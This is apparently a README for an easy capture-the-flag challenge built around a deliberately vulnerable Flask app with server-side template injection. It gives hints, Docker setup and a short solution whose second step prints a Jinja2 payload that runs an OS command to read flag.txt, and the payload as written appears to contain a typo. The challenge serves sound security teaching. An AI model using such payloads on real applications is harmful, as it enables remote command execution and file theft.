README.md 2025-09-26

CTF Challenge: Flask SSTI

Type of Challenge

• Vulnerable web app (Server-Side Template Injection, SSTI)

Technical Details

- A simple Flask app takes user input and renders it unsafely in a Jinja2 template.
- The user input is not sanitized, allowing template injection.
- The flag is stored in flag.txt in the app directory.

Write-up (How to Solve)

- 1. Submit a payload like {{config}} in the name field to test for SSTI.
- 2. To read the flag, submit: {{cycler.__init__._globals__.os.popen('cat
 flag.txt').read()}}
- 3. The flag will be printed in the response.

Possible Hints

- "Sometimes, templates can be more powerful than you think."
- "Try some curly braces in your input."

Other Details

- Difficulty: Easy/Medium (basic web exploitation, SSTI knowledge)
- Knowledge required: Basic Python, Flask, Jinja2, SSTI
- Resources: Docker, Docker Compose
- Network: Exposes port 8080

Implementation

- See app.py, Dockerfile, docker-compose.yaml, and flag.txt.
- To build and run:

```
docker compose up --build -d
```

• Visit http://localhost:8080

Group Members

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